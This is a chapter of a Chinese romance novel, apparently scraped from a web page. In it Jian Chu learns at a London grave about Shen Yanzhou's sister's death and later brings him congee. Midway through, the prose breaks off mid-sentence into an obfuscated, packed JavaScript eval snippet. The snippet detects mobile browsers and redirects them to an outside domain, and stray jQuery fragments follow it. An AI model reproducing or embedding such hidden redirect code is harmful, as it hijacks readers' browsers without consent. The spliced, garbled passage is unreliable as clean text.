简初看着他，看着他那双深不见底的眼睛，和怀里那束安静盛放的白色花朵，到了嘴边的拒绝，忽然就说不出口了。


    “我帮你吧。”


    简初沉默着，最终还是推开车门，从他手中，接过了那束沉甸甸的花。花瓣上还带着清晨的露水，冰凉的触感，透过包装纸，传到她的指尖。


    她跟在他身后，一步一步，走进了那片寂静的墓园。


    他没有走主路，而是穿过一条由鹅卵石铺成的小径，停在了一块白色大理石的墓碑前。


    墓碑被打理得很干净，上面嵌着一张年轻女子的黑白照片。


    简初抱着花，站在他身后，当她的目光，落在那张照片上时，整个人如遭雷击，瞬间僵在了原地。


    是她。


    那个她曾在沈砚舟手机屏保上见过几次，穿着白色裙子，站在一片花海里，笑得温婉恬静的女人。


    沈砚舟没有回头，他只是蹲下身，用那只完好的手，轻轻拂去墓碑上的一片落叶。他的动作很慢，很轻，像是在触碰什么易碎的珍宝。


    “她叫沈书瑶，”他开口，声音很低，很哑，像是在对她说，又像是在自言自语，“是我的姐姐。”


    他顿了顿，才继续用一种近乎麻木又平静的语调，讲述那段被他深埋的过往。


    “她以前……和一个男人私奔到了英国。为了他，和家里断了所有联系，只偷偷和我一个人来往。”


    “我那时候刚接手公司，很忙，但每个月都会飞来看她。她过得不好，那个男人……是个彻头彻尾的混蛋，酗酒、吃软饭。我让她离婚，让她跟我回家，她不肯。”


    “后来，她抑郁了。我带她去看医生，给她找了最好的心理专家，可她不配合治疗。她说，她怀孕了，为了孩子，她想再试试。”


    沈砚舟的声音，在这里停了下来。他深深地吸了一口气，像是要用尽全身的力气，才能说出最后那句话。


    “她死的时候，怀孕三个月。从公寓的顶楼，跳了下去。”


    巷子里的血，警局里的对峙，医院里的缝合针……所有昨夜的惊心动魄，在这一刻，都显得那么微不足道。


    简初终于明白了一切。


    她明白了，几年前，他为什么会出现在伦敦。明白了，他为什么会在看到同样绝望无助的自己时，伸出那只看似施舍，实则笨拙的手。


    他无法拯救死去的姐姐，于是，他用一种扭曲的方式，买下了那个在伦敦街头，像极了她当年处境的自己。


    简初看着他宽阔而孤单的背影，看着他那只缠着绷带的手臂，鼻尖一酸，眼泪毫无预兆地涌了上来。


    她没有说节哀顺变之类的空话。


    她只是抱着那束百合花，默默地走上前，蹲在了他的身边。


    然后，她伸出那只没有拿花的手，轻轻地、试探性地，覆在了他那只没有受伤的手背上。


    从墓地回酒店的路上，沈砚舟又将自己隐藏到眼镜片后面，简初在手机上回复着工作邮件。


    可她脑海里反复回放着墓碑上那张温婉的黑白照片，和沈砚舟讲述往事时，那压抑到几乎没有起伏的声线。


    简初抬头看了看沈砚舟，他闭着双眼，整个人陷在座椅里，周身都笼罩着一种生人勿近的疏离感。


    她没有再试图用言语去安慰。她知道，对于这种剜心刻骨的伤痛，任何语言都显得苍白无力。


    车子平稳地停在酒店门口。


    两人一前一后地走进电梯，沉默依旧在延续。


    沈砚舟走到客厅中央，或许是站得久了，他用那只完好的左手，有些费力地，想去脱身上的黑色外套。受伤的右臂被支架固定着，轻微的动作都会牵扯到伤口，让他眉头不易察觉地蹙了一下。


    简初换好鞋，一抬头便看到了这一幕。她迟疑了半秒，最终还是走了过去。


    “我来吧。”她的声音很轻，打破了满室的寂静。


    沈砚舟的动作顿住，没有回头，算是默许了。


    简初走到他身后，两人离得很近，她能清晰地闻到他身上那股混合着风衣气息和淡淡雪松的味道。她伸出手，小心翼翼地避开他受伤的手臂，先帮他将外套从左肩褪下，然后是右肩。


    布料摩擦，发出细微的声响。


    当外套滑落，露出他穿着黑色衬衫宽阔而挺拔的后背时，简初的指尖，不受控制地蜷缩了一下。


    就是这个背影。孤独、沉默，却又像山一样。


    她的手，缓缓抬起，朝着那片坚实的后背探去。她想做什么？或许只是想拍一拍他，告诉他，都过去了。又或许，是别的什么，连她自己也说不清。


    她的指尖，最终停在了离他衬衫只有几寸的半空，迟疑着，终究还是不敢落下。


    就在她准备将手悄然收回的那一刻，沈砚舟毫无预兆地，转过了身。


    简初的一愣。


    她来不及撤回，那只停在半空的手，就那样直直地、毫无防备地，按在了他温热坚硬的胸膛上。


    掌心之下，是质感高级的衬衫布料，和布料之下，沉稳有力的心跳，一下，又一下，清晰地透过她的掌心，传遍全身。


    时间静了下来。


    沈砚舟垂下眸子，视线落在她那只停在他胸口的手上，没有错愕，也没有戏谑，只是静静地看着，眼神深不见底。


    简初像是被烫到一般，迅速抽回了手，后退了一步。


    “我……”她张了张嘴，却发现喉咙干涩，一个字也说不出来。


    沈砚舟什么也没说。


    他只是最后看了她一眼，然后径直转身，走进了自己的房间。门被轻轻带上，发出一声沉闷的轻响。


    简初一个人站在空旷的客厅里，手还僵在半空，掌心似乎还残留着他胸膛传来的心跳。


    良久，她才缓缓放下手，也转身回了自己的房间。


    这一夜，两人都没有再走出房门。


    窗外，伦敦的夜色浓郁，像化不开的墨。而套房内的两个房间里，各有一盏灯，亮到了天明。


    第二天，简初是在一片死寂中醒来的。


    她走出房间时，客厅里空无一人，偌大的套房里，安静得能听到自己的呼吸声。


    她走到吧台倒了杯水，下意识地看了一眼沈砚舟那间紧闭的房门。


    门缝里没有透出任何光，也没有任何声音。


    整个上午，那扇门都没有打开过。没有电话，没有访客，连酒店送餐的服务生都没有出现。他就那样，将自己彻底关在了那个房间里。


    简初坐在客厅的沙发上，翻看着Baker-Kerr项目的资料，可那些密密麻麻的英文条款，却一个字也看不进去。她的余光，总会不受控制地，飘向那扇门。


    时间一点点滑向下午。


    简初终于有些坐不住了。


    眼看都快过了午饭时间，沈砚舟却从早上起就没再露面。她知道这个人，自律得像一台精准运转的机器，不可能无缘无故断食超过二十四个小时。


    唯一的可能，要么是伤口发作，要么是他根本不想出来。


    她站起身，在客厅里走了几步，又回头望了一眼那扇始终紧闭的房门。


    最终，她拿起房卡，换了身衣服出了门。


    正午的阳光从伦敦街头落下来，不燥，却也不温柔。简初顺着巷口找了一家中餐小馆，点了几样清淡热食


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175312|180396||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，又加了一份小米粥，静静坐着等老板打包。


    半个小时后，她拎着袋子回到酒店房间。她没有立即去敲门，而是先把食物逐一取出，换了碗碟，放在托盘上。


    粥是现熬的，还带着腾腾热气。她拿汤勺搅了一下，淡黄的米香混着一点香葱味，在空旷的屋子里慢慢散开。


    她端起托盘，走到那扇门前。


    犹豫片刻，才抬手敲了敲。


    没有动静。


    她又敲了一次，声音稍重了一点。


    几秒钟后，门才从里面被人拉开，房间里光线昏暗，


    沈砚舟就站在门口。他没有戴眼镜，头发有些凌乱，身上还穿着昨天的黑色衬衫，领口的扣子解开了两颗，露出线条清晰的锁骨。他眼下有淡淡的青色，整个人看起来很疲惫，看到她时，眼神里带着一丝被打扰的戒备。


    简初将手中的托盘往前递了递，语气平静得像是在汇报工作：


    “你太久没吃东西了。我打包了点吃的，你试试，虽然肯定口感不如国内。”


    她顿了顿，像是在为自己的行为寻找一个合理的借口，又补充道：“你手臂有伤，吃点清淡的，对伤口恢复好。”


    沈砚舟看着她，又看了看她手里那碗热气腾腾的粥，没有说话，也没有让开。


    两人就在门口，这样无声地对峙着。


    最终，他还是侧过身，让出了一条路。


    简初走了进去，房间的窗帘拉着，她将托盘放在茶几上。


    沈砚舟在她身后坐下，目光落在那个简单的白瓷碗上，久久没有动作。


    就在简初以为他不会再开口，准备转身离开时，听见了他的声音。


    那声音很低，很轻，像是一句不经意的、被记忆牵引出来的梦呓。


    “我姐姐以前……也总给我熬这个。”


    简初的心，像是被什么东西，轻轻地捏了一下。她回过头，看到他正垂着眼，长长的睫毛在脸上投下一小片阴影，遮住了所有的情绪。


    她只是重新拿起那碗粥，舀起一勺，吹了吹，然后将勺子，连同桌上的纸巾，一同放在了他那只完好的左手边。


    “趁热喝吧。”


    说完，她便站起身。


    简初四仰八叉躺在沙发上。


    她原本想着，既然现在是伦敦下午，国内已经很晚了，或许等明早再给霍斯庭发个邮件，把几个待跟进事项整理一下就好。但她还没来得及打开电脑，手机忽然亮了，是霍斯庭的来电。


    她接起，语气如常：“喂？”


    那头的霍斯庭似乎刚结束会议，声音低了些，但还是带着惯有的温温笑意：“我猜你还没吃饭。”


    简初没有提起自己与沈砚舟住在同一个套房的事，只淡淡道：“是，刚从外面打包了点外卖。”


    两人先按部就班地对接了一下英国这边律所合作的材料和工作排期，节奏不疾不徐，如同平常在会议上交换意见那样理性克制。等正事说完了，那头忽然轻轻顿了一下，像是掐断了什么欲言又止的东西。


    紧接着，霍斯庭问：“你在伦敦，还好吗？”


    简初靠着椅背，眼神落在落地窗外那座随时会下雨的城市上，轻声道：“挺好的。”


    “沈砚舟没欺负你吧？”


    她被这句逗笑了，反问道：“你什么时候变得这么啰嗦了？”


    电话那头静了一瞬。


    那一秒的沉默落得刚刚好，像是刻意为某句话留出了空白。


    然后霍斯庭的声音传来，不如刚才那般温和克制，反倒低了些，像是隔着一段长路，坦白出某个压在心口许久的念头：


    “怕你不回来了。”